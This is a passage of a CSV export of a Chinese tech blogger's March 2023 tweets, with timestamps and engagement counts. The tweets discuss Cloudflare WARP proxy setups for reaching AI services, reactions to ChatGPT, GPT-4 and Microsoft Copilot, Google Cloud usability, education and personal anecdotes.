这其实很简单，国外有一堆一堆的虚拟信用卡的网站，你可以为自己开通一堆一次性的信用卡，以免自己的真实卡号泄露。我有海外信用卡，本来我想做个程序来干这事儿，后来想想还是算了，可能会触发一些银行的风控，比如一些洗钱是什么的，反而给自己惹上麻烦……毕竟不是国内。,,https://twitter.com/haoel/status/1640666922164297733\n377,1640654967521550336,2023-03-28 10:00:00+00:00,0,0,0,,@sunxin696 你看git的历史版本吧,,https://twitter.com/haoel/status/1640654967521550336\n378,1640559061015072775,2023-03-28 03:38:54+00:00,0,0,0,,@smoothdvd 已修,,https://twitter.com/haoel/status/1640559061015072775\n379,1640558831078981634,2023-03-28 03:38:00+00:00,0,0,0,,@stubtwain 不是的，如果你不用代理模式，你的服务器就失联了，然而你的桌面机则不会,,https://twitter.com/haoel/status/1640558831078981634\n380,1640554938131689475,2023-03-28 03:22:31+00:00,0,0,1,,@stubtwain 不香，因为官方文档是给桌面机用的,,https://twitter.com/haoel/status/1640554938131689475\n381,1640549515093762048,2023-03-28 03:00:58+00:00,135,34,22,,有些朋友说配不通，那就试试 Cloudflare 的代理模式吧，我把原文重写了一下，删除了 Cloudflare WARP 的手动模式，改成了官方客户端的代理模式，然后用 Gost 做转发。https://t.co/ICccbTdgJt https://t.co/kYPIRlFKAs,\"[TextLink(text='github.com/haoel/haoel.gi…', url='https://github.com/haoel/haoel.github.io#942-%E4%BB%A3%E7%90%86%E6%A8%A1%E5%BC%8F', tcourl='https://t.co/ICccbTdgJt', indices=(95, 118))]\",https://twitter.com/haoel/status/1640549515093762048\n382,1639920841751416832,2023-03-26 09:22:51+00:00,1537,194,206,,\"关于 TikTok 的几个问题：\n\n1）作为简中用户，为啥翻了墙还要拨卡还要伪装成境外用户才能访问？不让国人用的软件，为啥会是中国的软件？\n\n2）周受资说 TikTok 上不会对辱华的内容过滤和审核，那小粉红为什么不讨伐这个公司，还反过来要去支持这个公司？\n\n3）一款让中美都封的软件，它到底算是哪边的？\",,https://twitter.com/haoel/status/1639920841751416832\n383,1639863283778990081,2023-03-26 05:34:08+00:00,2,1,0,,@tongzikin 能帮忙贡献个PR吗,,https://twitter.com/haoel/status/1639863283778990081\n384,1639863034792542208,2023-03-26 05:33:09+00:00,3,0,1,,@llllaaazzy 谢谢,,https://twitter.com/haoel/status/1639863034792542208\n385,1639821371302907904,2023-03-26 02:47:35+00:00,22,0,1,,中国电影博物馆里面的这个大厅的视觉效果还是不错的，可以带孩子去看看，中国的电影历史展厅个人觉得一般，现在还有国际青少年的画展，有喜欢画画的孩子，还是可以带去看看……p.s. 去前要上微信公众号预约。 https://t.co/w0aOlcTUbs,,https://twitter.com/haoel/status/1639821371302907904\n386,1639670434940727303,2023-03-25 16:47:49+00:00,0,0,2,,@yuexiangrong 你还是用脚本自己重试几次吧 ./warp.sh d,,https://twitter.com/haoel/status/1639670434940727303\n387,1639670222557949952,2023-03-25 16:46:59+00:00,79,3,15,,很多人没看懂到我上面这个推。那我就解释一下，其实是在讽刺了教育的现状，1）这种小学生作文，我小时候老师就是以这种套路在教我了，这么多年来没有变过，还是这样，2）这种套路式，机械式的东西，用 AI 都是牛刀杀鸡了，整几个模板就好了，你看人成年写的类似这样形式化的文章，不也是一样的吗？,,https://twitter.com/haoel/status/1639670222557949952\n388,1639668626205872128,2023-03-25 16:40:38+00:00,0,0,1,,@boat_wait @willbegrea 如果你看过老师教孩子们怎么写这种政治性的作文，你就知道，大家写的都一个样……,,https://twitter.com/haoel/status/1639668626205872128\n389,1639660900167860232,2023-03-25 16:09:56+00:00,0,0,1,,@yuexiangrong 不好意思 ，我刚才试了一下，有时候如你所说，会把整个网络搞断，但有时候又好了。比如奇怪，我还在找为什么 ……,,https://twitter.com/haoel/status/1639660900167860232\n390,1639622294543962116,2023-03-25 13:36:32+00:00,1,0,1,,@bai1662766530 我这个文档里有啊，你仔细看看,,https://twitter.com/haoel/status/1639622294543962116\n391,1639622152222818306,2023-03-25 13:35:58+00:00,0,0,1,,@yuexiangrong 你试试手动安装,,https://twitter.com/haoel/status/1639622152222818306\n392,1639621985381781505,2023-03-25 13:35:18+00:00,7,1,2,,@3721_helper 还有aws,,https://twitter.com/haoel/status/1639621985381781505\n393,1639613589505064960,2023-03-25 13:01:56+00:00,2948,825,195,,\"用了两天 New Bing，报错 Sorry, looks like your network settings are preventing access to this feature. 看来微软也跟 OpenAI 一样封和各种IDC 的 IP 了，把梯子套上了 Cloudflare Warp，一切又恢复了。更新了一下科学上网的文档：https://t.co/x7u4wmw7PM 上网太难了，两头封，在夹缝中生存…… https://t.co/4uhSltbEJg\",\"[TextLink(text='github.com/haoel/haoel.gi…', url='https://github.com/haoel/haoel.github.io#94-cloudflare-warp-%E5%8E%9F%E7%94%9F-ip', tcourl='https://t.co/x7u4wmw7PM', indices=(170, 193))]\",https://twitter.com/haoel/status/1639613589505064960\n394,1639558990521839617,2023-03-25 09:24:59+00:00,7,0,1,,@willbegrea 学校教出来的，不也是每个孩子都写的是一样的么……😂,,https://twitter.com/haoel/status/1639558990521839617\n395,1639490238073704449,2023-03-25 04:51:47+00:00,264,32,42,,孩子说要去军博春游，回来一定要写作文，而且都想好咋写了。最先描写军博的外观，然后再略些不重要但有趣的事，再详写一个最有爱国情怀的展品或故事，最后再写怎么自己被激发出来的爱国热情……我用 AI 生成了一个，孩子看完说，“跟我们写一样啊”，我突然冒出个念头，初等教育的老师也可以被AI取代了。 https://t.co/B0ZLQ4Kjn7,,https://twitter.com/haoel/status/1639490238073704449\n396,1639276659646898179,2023-03-24 14:43:06+00:00,0,0,1,,@kevinzhow 贵！,,https://twitter.com/haoel/status/1639276659646898179\n397,1639265150686359557,2023-03-24 13:57:22+00:00,0,0,1,,@kevinzhow 这个物价感觉不贵呀,,https://twitter.com/haoel/status/1639265150686359557\n398,1639263454967083012,2023-03-24 13:50:38+00:00,0,0,0,,@leonmu 如果真的想篡改还是就篡改了,,https://twitter.com/haoel/status/1639263454967083012\n399,1639218165426323459,2023-03-24 10:50:40+00:00,91,20,20,,原来这么正式场合下，也有人肉PPT……上次见人肉PPT是老罗和王自如的辩论会……相比之下，老罗的PPT做得实在是太差了……😂😂,,https://twitter.com/haoel/status/1639218165426323459\n400,1639109728856055809,2023-03-24 03:39:47+00:00,286,61,21,,大家应该多考虑考虑自己的平时所写的代码是否可以被AI 生成，如果是的话，那就要小心了……另外，不要在乎 AI 的代码是否会有 bug 或运行不起来，因为大多数普通的程序员代码中的 bug 并不比 AI 生成的少……,,https://twitter.com/haoel/status/1639109728856055809\n401,1639106474977955842,2023-03-24 03:26:51+00:00,0,0,1,,@shinyzhu @bing 多谢🙏,,https://twitter.com/haoel/status/1639106474977955842\n402,1639099136749477889,2023-03-24 02:57:41+00:00,70,1,12,,@tinyfool 做什么 App，你不是营销号么……😂🤣😜,,https://twitter.com/haoel/status/1639099136749477889\n403,1639098927088824320,2023-03-24 02:56:51+00:00,0,0,0,,\"@AshareNotes @feelinglucky OK, 下次试试。不过因为我减肥很有成效，也在吃非布司他，最近基本不痛风了……\",,https://twitter.com/haoel/status/1639098927088824320\n404,1639095760519299072,2023-03-24 02:44:16+00:00,0,0,1,,@AshareNotes @feelinglucky 贵！,,https://twitter.com/haoel/status/1639095760519299072\n405,1639094304940650496,2023-03-24 02:38:29+00:00,0,0,1,,@shinyzhu @bing 问一下，在哪里找邀请链接？,,https://twitter.com/haoel/status/1639094304940650496\n406,1639094009124765698,2023-03-24 02:37:19+00:00,0,0,0,,@qunimadeBTC @feelinglucky 当然不能,,https://twitter.com/haoel/status/1639094009124765698\n407,1639093946558345219,2023-03-24 02:37:04+00:00,0,0,1,,@AshareNotes @feelinglucky 国内的药店好像买不到,,https://twitter.com/haoel/status/1639093946558345219\n408,1639058952595075073,2023-03-24 00:18:01+00:00,36,5,7,,OpenAI released another “waitlist software”. Suggest you guys consider changing the name to OpenWaitlist…,,https://twitter.com/haoel/status/1639058952595075073\n409,1639056234702864385,2023-03-24 00:07:13+00:00,493,138,23,,来了，零编程经验的同学开发的浏览器插件……,,https://twitter.com/haoel/status/1639056234702864385\n410,1638935077269950464,2023-03-23 16:05:47+00:00,1,0,0,,@shinyzhu @bing 感谢有你的加持，果然开通了,,https://twitter.com/haoel/status/1638935077269950464\n411,1638847056868691970,2023-03-23 10:16:01+00:00,505,77,49,,\"下面是我还在等待的 waitlist \n- New Bing\n- Google Brad\n- ChatGPT-4 API\n- Github Copilot X\n这是一种新型的软件开发方式：Waitlist Software Development\n\n2023 is the year of Waitlist …… https://t.co/Pm42YLmbDJ\",,https://twitter.com/haoel/status/1638847056868691970\n412,1638820745513164800,2023-03-23 08:31:28+00:00,77,9,9,,\"@feelinglucky 止痛药：双氯芬酸钠\n治疗药：非布司他\n\n前者我都吃了10年了 https://t.co/9G2kX3rO2Z\",,https://twitter.com/haoel/status/1638820745513164800\n413,1638813207228977153,2023-03-23 08:01:30+00:00,261,31,20,,\"1）二维码本来就是线下物理世界到线上数字世界的场景，如果大家都在数字世界，直接分享链接就好了，不应该从二维码再过一遍。\n\n2）扫码本来就是个标准接口，没有必要，每个App都来搞一套。\n\n3）扫码的访问信息是用户的隐私，理由手机厂商来保证。国内的二维码全都用微信来扫，你的所有信息都给了微信\",,https://twitter.com/haoel/status/1638813207228977153\n414,1638737534179237889,2023-03-23 03:00:49+00:00,8,0,2,,@projectyoutobe 这不是谁都可以拥抱了吗？一下就没有技术门槛了啊,,https://twitter.com/haoel/status/1638737534179237889\n415,1638508616406933504,2023-03-22 11:51:10+00:00,0,0,1,,@feelinglucky 你也被约谈过？,,https://twitter.com/haoel/status/1638508616406933504\n416,1638507699490144256,2023-03-22 11:47:32+00:00,1,0,1,,@kevinzhow 你把小白也带过去了？,,https://twitter.com/haoel/status/1638507699490144256\n417,1638507513971875842,2023-03-22 11:46:47+00:00,62,5,10,,@yetone 你的软件启动时先访问一下google，访问不了了，证明是简中用户，直接弹窗警告用户……,,https://twitter.com/haoel/status/1638507513971875842\n418,1638401764465713152,2023-03-22 04:46:35+00:00,48,0,2,,@nishuang 学到了一种设计风格，的确狂野,,https://twitter.com/haoel/status/1638401764465713152\n419,1638397250199257088,2023-03-22 04:28:39+00:00,203,28,7,,那年，我还分析过泄漏出来的密码…… https://t.co/KuALu4nXAg,,https://twitter.com/haoel/status/1638397250199257088\n420,1638395510812975105,2023-03-22 04:21:44+00:00,443,63,189,,像 OpenAI 用这种鲜艳的绿色做网页背景的做法，还是非常大胆的，我相信一般人都不敢用这种颜色来做背景的，往前推二十年都不见得有人会用这个颜色做网页。想听听推上的设计师和前端同学对这种设计的看法…… https://t.co/3LUF6qTvR8,,https://twitter.com/haoel/status/1638395510812975105\n421,1638064012830334976,2023-03-21 06:24:29+00:00,7,1,1,,@thecalicastle 这种事一般都是外国人干（从海南到新疆）https://t.co/QyBw1AtFRe,\"[TextLink(text='youtu.be/7pvAnxazQsA', url='https://youtu.be/7pvAnxazQsA', tcourl='https://t.co/QyBw1AtFRe', indices=(34, 57))]\",https://twitter.com/haoel/status/1638064012830334976\n422,1637976904308518913,2023-03-21 00:38:20+00:00,20,1,0,,@yetone 真正的hackathon,,https://twitter.com/haoel/status/1637976904308518913\n423,1637846855093727234,2023-03-20 16:01:34+00:00,10,0,4,,@plantegg 我觉得不一定对，我感觉应该是新一代的网民成长起来了……,,https://twitter.com/haoel/status/1637846855093727234\n424,1637694557361168384,2023-03-20 05:56:24+00:00,0,0,2,,@fujohnwang 有代码啊,,https://twitter.com/haoel/status/1637694557361168384\n425,1637657751307579398,2023-03-20 03:30:08+00:00,108,18,13,,百度最懂中文…… （这两个图我转微博了）,,https://twitter.com/haoel/status/1637657751307579398\n426,1637606041339953152,2023-03-20 00:04:40+00:00,2,0,0,,@Kenji_santu This is the way. https://t.co/A2gnoSlGSc,,https://twitter.com/haoel/status/1637606041339953152\n427,1637599954641494016,2023-03-19 23:40:28+00:00,191,44,5,,专业创作工具的上手以后将变得如此简单……,,https://twitter.com/haoel/status/1637599954641494016\n428,1637462816352509952,2023-03-19 14:35:32+00:00,1,0,1,,@taoziyaoyao1314 @ghosTM55 哦，想起来了。一对年轻的情侣先是纠结于为什总是男的请客，然后加入了个富人游艇，最后流落荒岛……老实说剧情有点冗长，看得我有点累……😂😂,,https://twitter.com/haoel/status/1637462816352509952\n429,1637442583327813634,2023-03-19 13:15:08+00:00,3,0,1,,@ghosTM55 @taoziyaoyao1314 配图的这个电影我看过，忘了是啥电影名字了，情节也记不清了，画面就是一群模特准备面试……,,https://twitter.com/haoel/status/1637442583327813634\n430,1637411217991159808,2023-03-19 11:10:30+00:00,166,16,16,,其实我是怎么理解的，1）那些营销号不会因为你骂就会消失。所以，花时间骂他们，不如花时间去创造更好的内容。所谓：建设性的破坏。2）另外一方面，大众太需要有人带了，他们太需要有人能够用更为简单朴素的道理，提高他们的认知。所以专业人士的不应该高高在上，应该勇敢地去做一个“营销号”……,,https://twitter.com/haoel/status/1637411217991159808\n431,1637351781771644930,2023-03-19 07:14:19+00:00,0,0,0,,@thecalicastle AWS这界面是太古老了，这些都是属于专家系统，一般人都搞不定,,https://twitter.com/haoel/status/1637351781771644930\n432,1637334785948549124,2023-03-19 06:06:47+00:00,41,4,2,,@cloudwu 我想这个恐怕很难。一个CPU有个几百核算是了不得了，而4090则是1.6万核（1万核的CPU估计也要上百万元的成本了）。无论是在并行度还是数据的吞吐量上，在大规模的数字计算下，用于多目的且通用设计的CPU都比不过只用于单目的仅用于图形计算的GPU。,,https://twitter.com/haoel/status/1637334785948549124\n433,1637326960018980865,2023-03-19 05:35:41+00:00,1,0,1,,@thecalicastle 绝对不是。其实这世界上大多数云都跟A W S很类似，就谷歌走了一条很不一样的路,,https://twitter.com/haoel/status/1637326960018980865\n434,1637326668611358720,2023-03-19 05:34:32+00:00,2,0,1,,@zhangjintao9020 你要仔细读一读我原帖是啥意思，这不是技术上的事这是业务上的事。比如：1）付费的API的限额要比免费的大的多，然后我绑卡后，我却搞不清楚，为什么还有一个项目还是免费，2）团队的邀请，3）你要开通一些功能，你必须要去控制台，然后这些功能按钮，结果是在文档里……这些是Terrafrom无法解决的……,,https://twitter.com/haoel/status/1637326668611358720\n435,1637281274430910465,2023-03-19 02:34:09+00:00,33,0,1,,@hwangdevs 生活小常识：不要用一般的纸放于空气炸锅…… https://t.co/nBI0H6vGtZ,,https://twitter.com/haoel/status/1637281274430910465\n436,1637273800558649344,2023-03-19 02:04:27+00:00,91,2,8,,@realrenmin 你这话就是太过于主观了，以后发表这样的观点，如果能够找出一些引用会更好（比如，我说AI只不过是计算机科学的一部分，引用：https://t.co/R6MXGxj5Ye ）如果找不出来引用的话，那就完全是你自己的个人观点。建议还是要多说一些有意义的话，少说这种只有个人情绪却没有价值的话……,\"[TextLink(text='csweb.rice.edu/academics/grad…', url='https://csweb.rice.edu/academics/graduate-programs/online-mcs/blog/computer-science-vs-artificial-intelligence-and-machine-learning', tcourl='https://t.co/R6MXGxj5Ye', indices=(72, 95))]\",https://twitter.com/haoel/status/1637273800558649344\n437,1637074909489950721,2023-03-18 12:54:08+00:00,14,0,0,,@DashHuang 在你这推下面，我都不敢祝你生日快乐，祝了就成你的儿女了……😓,,https://twitter.com/haoel/status/1637074909489950721\n438,1637036827554234368,2023-03-18 10:22:49+00:00,31,0,3,,@plantegg 超时时间应该改成10毫秒啊，QPS就上来了，如果他们问你怎么会那么多错误，你就反问，你别管错不错，你就说快不快！😂,,https://twitter.com/haoel/status/1637036827554234368\n439,1636993655948050432,2023-03-18 07:31:16+00:00,2,0,1,,@tinyfool 我上次去故宫的时候好像还是小学六年级暑假毕业，也是好久没去了……,,https://twitter.com/haoel/status/1636993655948050432\n440,1636992756773191681,2023-03-18 07:27:41+00:00,15,0,8,,我以为这个地方是中老年人才来的，没想到各种帅哥靓女……,,https://twitter.com/haoel/status/1636992756773191681\n441,1636990383375937536,2023-03-18 07:18:15+00:00,53,0,7,,Long time no visit…people mountain people sea… https://t.co/zzmzP5ARNK,,https://twitter.com/haoel/status/1636990383375937536\n442,1636980521950642177,2023-03-18 06:39:04+00:00,4,0,2,,@zhangjintao9020 我觉得是两码事,,https://twitter.com/haoel/status/1636980521950642177\n443,1636944389330321408,2023-03-18 04:15:30+00:00,75,0,35,,都周末了，门口等待的人实在是太多了，劝退了…… @MiaBleem https://t.co/8GX7cz9y2R,,https://twitter.com/haoel/status/1636944389330321408\n444,1636938375243657221,2023-03-18 03:51:36+00:00,130,13,33,,Goolge 云是我用过的最令我迷茫的云平台，这两天想用 收费 API，结果发现好多功能按钮都在文档里，而不是在控制台里。控制台上没有语言切换，要到文档上切了再回。Project也很诡异，我创建了两个项目，结果一个是收费，另一个则是免费，都不知道怎么改。最后，研究了半天也不知道怎么给团队建帐号……,,https://twitter.com/haoel/status/1636938375243657221\n445,1636934610465726464,2023-03-18 03:36:38+00:00,52,6,4,,Microsoft 的基因是企业办公，Google 的基因是写论文……😂🤣😜🤪,,https://twitter.com/haoel/status/1636934610465726464\n446,1636753645365784578,2023-03-17 15:37:33+00:00,44,1,6,,@wangzhian8848 默认选择是为你推荐，你要点右边的正在关注…… https://t.co/y2ggMQfnks,,https://twitter.com/haoel/status/1636753645365784578\n447,1636744218185203713,2023-03-17 15:00:05+00:00,1,0,0,,@hiahia6661 @bearbig 两位老乡好,,https://twitter.com/haoel/status/1636744218185203713\n448,1636735553130598402,2023-03-17 14:25:39+00:00,0,0,1,,@tinyfool 有道理,,https://twitter.com/haoel/status/1636735553130598402\n449,1636733330480848896,2023-03-17 14:16:49+00:00,9,1,2,,@tinyfool GPT4的分组答案，还是很不错的 https://t.co/3IejgtBv0m,,https://twitter.com/haoel/status/1636733330480848896\n450,1636722152874602496,2023-03-17 13:32:24+00:00,546,63,31,,\"5）一旦内容制作门槛变低，制作速度变快，那些能产生高质量内容的人将会更有生产力，而一些专业能力不强的人也将会迅速淘汰掉。\n\n6）程序员应该借助于这波技术红利，多做一些生产力工具。而一般人也应该赶快学会使用这些工具，让自己超过那些掌握专业技能的人。\n\n7）最后，大家赶紧买微软的股票。\n\n4/4\",,https://twitter.com/haoel/status/1636722152874602496\n451,1636722150643240960,2023-03-17 13:32:24+00:00,203,19,7,,\"3）而且，各种内容的表现形是多模态的互相转换，比如，我可以很容易地把我的一篇blog转成PPT或者视频。\n\n4）国内的各种办公软件，什么钉钉，飞书，企业微信，还在不停地卷拉群办公，而这一波的 AI Copilot 已经把这些软件带到另外一个高度。甚至毫不夸张的说，只要跟不上，微信也会被颠覆掉的…… 3/4\",,https://twitter.com/haoel/status/1636722150643240960\n452,1636722147921137665,2023-03-17 13:32:23+00:00,162,14,3,,2）正当百度还在发布聊天式的人工智能时，微软已经把 GPT 跟他的 Office 全家桶在集成了，真正的把一个聊天玩具变成生产力工具。这让我感觉到所有的内容制作软件都有会被颠覆，尤其是那些专业制作软件（如：视频图片），以后操作这样的工具再也不会有门槛，中等专业的制作技能会被抹平，…… 2/4,,https://twitter.com/haoel/status/1636722147921137665\n453,1636722144620195847,2023-03-17 13:32:22+00:00,1102,294,66,,\"刚刚看了微软的office 365 发布视频，写写我的感受。\n\n1）正如我开始用ChatGPT 来帮我调教我的英文邮件的时候，我第一时间感觉到的就是像 DeepL 或Grammarly 翻译或写作软件都要被干死了，语言模型和词汇翻译这种竞争就像地球人和三体人一样不在一个维度，翻译软件就是像“火鸡科学家”一样…… 1/4\",,https://twitter.com/haoel/status/1636722144620195847\n454,1636670285696102400,2023-03-17 10:06:18+00:00,33,1,9,,我又仿佛听到了：“有了AI，人类不需要再学习语言了”……,,https://twitter.com/haoel/status/1636670285696102400\n455,1636667043532673024,2023-03-17 09:53:25+00:00,5,0,0,,\"Awesome, can't wait for the game...\",,https://twitter.com/haoel/status/1636667043532673024\n456,1636640470662254592,2023-03-17 08:07:50+00:00,11,0,0,,@dwgsdf 其实还是很大的，虽然跟朋友圈相关，但其实地理位置还是决定了朋友圈,,https://twitter.com/haoel/status/1636640470662254592\n457,1636640161131012101,2023-03-17 08:06:36+00:00,0,0,1,,@foo_hack 原来是他，他天天在复旦打Diablo，博士好像也没有毕业，我对链圈和币圈都没兴趣，那天只是看看老同学，哈哈。,,https://twitter.com/haoel/status/1636640161131012101\n458,1636635591743016961,2023-03-17 07:48:26+00:00,1,0,1,,@foo_hack 我们还有这样的交集啊……是哪个同学啊？,,https://twitter.com/haoel/status/1636635591743016961\n459,1636629770212605952,2023-03-17 07:25:18+00:00,0,0,1,,@foo_hack 当然，我没说所有的同学。,,https://twitter.com/haoel/status/1636629770212605952\n460,1636629594223837184,2023-03-17 07:24:37+00:00,3,0,0,,@noobnooc 后来又打对了，哈哈,,https://twitter.com/haoel/status/1636629594223837184\n461,1636617608488419328,2023-03-17 06:36:59+00:00,414,46,39,,ChatCPT 的传播有三波，第一波是去年的 12 份，先在科技圈里点爆了，第二波是今年的 2 月，因为微软，破圈了，几乎所有的媒体都在谈，社交媒体热度不断，第三波是这两天的 Office和 GPT-4……但是真正让那些生活在闭塞边陲人（比如我昆明的同学）也知道ChatGPT的则是是昨天百度的文心一言发布……😂😅,,https://twitter.com/haoel/status/1636617608488419328\n462,1636386725852512265,2023-03-16 15:19:32+00:00,0,0,1,,@plantegg 你是因为什么原因啊？,,https://twitter.com/haoel/status/1636386725852512265\n463,1636386549897261062,2023-03-16 15:18:50+00:00,1,0,0,,@thecalicastle 很好👍,,https://twitter.com/haoel/status/1636386549897261062\n464,1636331168663756800,2023-03-16 11:38:46+00:00,7,0,0,,@Fenng 睾丸酮激素比较厉害,,https://twitter.com/haoel/status/1636331168663756800\n465,1636329235102179329,2023-03-16 11:31:05+00:00,42,2,0,,\"我们为 Easegress 增加了灰度发布的几种手段：\n\n1. 使用Cloudflare 的地理位置的标签\n2. 使用wasm解析User-Agent获得用户的设备类型和操作系统\n\n开发了 Rust 的 Wasm lib，可和 Cloudflare 共用，并参考 uap-core 和 user-agent-parser 项目，UA解析规则都在这了：https://t.co/VFUBjeybvd 欢迎试用！\",\"[TextLink(text='github.com/megaease/easeg…', url='https://github.com/megaease/easegress-rust-uaparser/blob/main/regexes.yaml', tcourl='https://t.co/VFUBjeybvd', indices=(175, 198))]\",https://twitter.com/haoel/status/1636329235102179329\n466,1636028799216132097,2023-03-15 15:37:16+00:00,268,37,40,,刚才跟云风讨论了“简单”和“复杂”的问题，让我又思考些东西，写篇小作文吧……欢迎大家一起来讨论…… https://t.co/2a1wnRbebA,,https://twitter.com/haoel/status/1636028799216132097\n467,1636004194439290880,2023-03-15 13:59:30+00:00,56,6,10,,GPT-4 看来正常了很多，可用性越来越好了……（附：之前的在这里：https://t.co/vTzrqgCc2a ） https://t.co/n6aMb2rF6k,\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1625123004324712450', tcourl='https://t.co/vTzrqgCc2a', indices=(34, 57))]\",https://twitter.com/haoel/status/1636004194439290880\n468,1635981027469590529,2023-03-15 12:27:26+00:00,1,0,1,,@soulhighwing 是的，然后那些不懂程序的非程序员，直接用prompt 绕开程序语言，到时候就比一比谁更有效率吧……,,https://twitter.com/haoel/status/1635981027469590529\n469,1635979066494038017,2023-03-15 12:19:39+00:00,21,2,1,,@cloudwu 对于简化我肯定是站在你这边的！但前两天我看的这本神经网络和深度学习的书里面讲过这个问题叫“复杂却正确”，这本书中有太多的观点值得我们深思。这个观点让我还是有一定的震撼的，对于计算机模型来说，要慎用简单性，重点不在简单，而是准确…… https://t.co/SgPR0SvXoE,,https://twitter.com/haoel/status/1635979066494038017\n470,1635976201155264519,2023-03-15 12:08:15+00:00,30,1,5,,@cloudwu 我当然理解你说的。我其实想表达的是在计算机的世界里，可能并不需要把复杂问题简单化，1）人类需要这个是因为人类的知识是无法传递的，新生下来的人又得从头学一遍，2）一个人学不了太多的东西，所以整个人类干出来的的东西受到康威定理的约束。然而，计算机完全没有这两个问题……,,https://twitter.com/haoel/status/1635976201155264519\n471,1635973661739094016,2023-03-15 11:58:10+00:00,7,0,1,,@cppgohan @cloudwu 为啥要debug，直接在需求里面写上negative prompt ，然后让他把整个程序重新生成一遍,,https://twitter.com/haoel/status/1635973661739094016\n472,1635973223971164160,2023-03-15 11:56:26+00:00,18,1,8,,@tinyfool 人家以前可是这样的…… https://t.co/4YjTltLybi,,https://twitter.com/haoel/status/1635973223971164160\n473,1635969443909242880,2023-03-15 11:41:24+00:00,12,0,3,,@cloudwu 偷换概念了。把需求变成代码与让 AI代替人活着是两回事。机器可以替我工作，但是不能替我吃喝拉撒，也不能替我喜怒哀乐……,,https://twitter.com/haoel/status/1635969443909242880\n474,1635966101631954944,2023-03-15 11:28:08+00:00,311,15,53,,@cloudwu AI为什么不绕过人类直接写机器码？让人类看懂的程序语言已经没有意义了，AI应该直接从需求文档生成机器码就好了……大家都是机器，何必那么啰唆……😂,,https://twitter.com/haoel/status/1635966101631954944\n475,1635919989973860352,2023-03-15 08:24:54+00:00,1,0,0,,@Fenng 还要用美国的SSN，不然就在海外开个公司,,https://twitter.com/haoel/status/1635919989973860352\n476,1635636658237489152,2023-03-14 13:39:02+00:00,0,0,0,,@tiger00853 某度,,https://twitter.com/haoel/status/1635636658237489152\n477,1635636515362545665,2023-03-14 13:38:28+00:00,7,0,0,,@bazingaoaoao 💯,,https://twitter.com/haoel/status/1635636515362545665\n478,1635602675374116864,2023-03-14 11:24:00+00:00,90,7,15,,你们这些都是微博炸了号才来推特的，我可是微博好好的自己主动过来的……虽然本质同样都是被赶过来的😂，但是明显我更有“放的下”的决心……😜 我有些推被截图转到墙内，前几天在微信群里疯传我的某推截图……引得某司的公关两次来找我交朋友（深深感觉我跟某司就是八字不合，价值观差距太大😂😂,,https://twitter.com/haoel/status/1635602675374116864\n479,1635596200811597831,2023-03-14 10:58:16+00:00,15,0,1,,@thecalicastle 如果我把你这个东西转发出去一堆人又来骂你了……,,https://twitter.com/haoel/status/1635596200811597831\n480,1635507715031302144,2023-03-14 05:06:40+00:00,9,0,1,,@plantegg 你这么一说，别人就来骂你了……他们会说你装逼，你是个商人……,,https://twitter.com/haoel/status/1635507715031302144\n481,1635173997624311810,2023-03-13 07:00:35+00:00,2,0,1,,@CrazyBunnyDoll 可以可以,,https://twitter.com/haoel/status/1635173997624311810\n482,1635173109434286080,2023-03-13 06:57:03+00:00,1,0,0,,@xiaojingcanxue 啊……,,https://twitter.com/haoel/status/1635173109434286080\n483,1635168993928691712,2023-03-13 06:40:42+00:00,1,0,2,,@CrazyBunnyDoll 你具体是怎么个操作的？国内下单后找人寄国外？,,https://twitter.com/haoel/status/1635168993928691712\n484,1635125888038883328,2023-03-13 03:49:25+00:00,3,0,0,,@geniusvczh 有是有，但是要不断地更新，正版都没钱买……,,https://twitter.com/haoel/status/1635125888038883328\n485,1635124806420160514,2023-03-13 03:45:07+00:00,11,0,4,,@CrazyBunnyDoll 你是从中国买书到国外？,,https://twitter.com/haoel/status/1635124806420160514\n486,1635089101115502593,2023-03-13 01:23:14+00:00,3,1,0,,@supercodebull 普通人在“找借口”和“降低标准”的技能上是不用教的的，天生拥有……,,https://twitter.com/haoel/status/1635089101115502593\n487,1635087536828854274,2023-03-13 01:17:01+00:00,6,0,0,,@laoda2000 从来不会，这是学习不是做项目，不是比谁跑得快，而是比谁跑得远爬得高……,,https://twitter.com/haoel/status/1635087536828854274\n488,1635087036146421760,2023-03-13 01:15:02+00:00,352,28,33,,在家里找到一堆杂志，这些MSDN杂志在以前那个技术资料匮乏的年代是很难得的，我千辛万苦从国外带回来……那个时候互联网畅通无阻，但基本没有中文资料，技术人员如饥似渴，看英文资料是默认项……现在资料多到爆炸，然而，互联网锁住了，而好大一部分程序员也选择了自我封闭，主动放弃了英文资料…… https://t.co/QPA77LumQp,,https://twitter.com/haoel/status/1635087036146421760\n489,1634925275627782146,2023-03-12 14:32:15+00:00,113,13,8,,需要“慢思考”的我一般都看纸书，因为需要来回翻看，而且需要坐直了看，有些论文我一般也要打印出来看……“快思考”的书，电子书就行了，躺着看都行……,,https://twitter.com/haoel/status/1634925275627782146\n490,1634895471448850438,2023-03-12 12:33:49+00:00,4,0,1,,@Daniell09855156 比我,,https://twitter.com/haoel/status/1634895471448850438\n491,1634894996150050819,2023-03-12 12:31:56+00:00,0,0,0,,@erjinxia @Larryisgoodman 指出一个反例吗？😂😂,,https://twitter.com/haoel/status/1634894996150050819\n492,1634881919963009025,2023-03-12 11:39:59+00:00,373,73,11,,“大多数人不喜欢被他人指出错误……不过，尽管不愉快，我们却能因为被明确指出错误，而能快速地学到正确的知识……当错误不明确的时候，学习会变得非常缓慢……”，这是《深入浅出神经网络和机器学习》里的一句话。就凭这句话，神经网络这么一个简单朴实的算法就已经比好些人要强了…… https://t.co/sVMrOJGKrK,,https://twitter.com/haoel/status/1634881919963009025\n493,1634878578931429376,2023-03-12 11:26:42+00:00,0,0,1,,@Larryisgoodman @erjinxia bitch…😜,,https://twitter.com/haoel/status/1634878578931429376\n494,1634875021574430720,2023-03-12 11:12:34+00:00,101,23,5,,让我深深思考的三个观点：图1）简单的算法 + 高质量的数据 比复杂的算法更有效，图2）人类因为分工所以设计出来的系统受到“康威定律”制约，但是A I可能能破解康威定律，图3）是否能够通过简单的算法形成智能，作者使用了DNA该做类比…… （最后发现，这本书作者的主业是量子物理学家……） https://t.co/zjb64810mN,,https://twitter.com/haoel/status/1634875021574430720\n495,1634874996077256704,2023-03-12 11:12:28+00:00,1090,296,29,,书评下这本苹果书，非常推荐。1）第一章浅显易懂的用一个例子讲明白了神经网络，第三章增强神经网络的各种坑和优化，五六章讲深度学习的问题和全貌。2）数学公式非常的多，但是可以略过，也不影响理解。3）对于第二章，得配合“三蓝一棕”的视频着https://t.co/1yEGXUVZsg 4）好些观点都值得思考…… 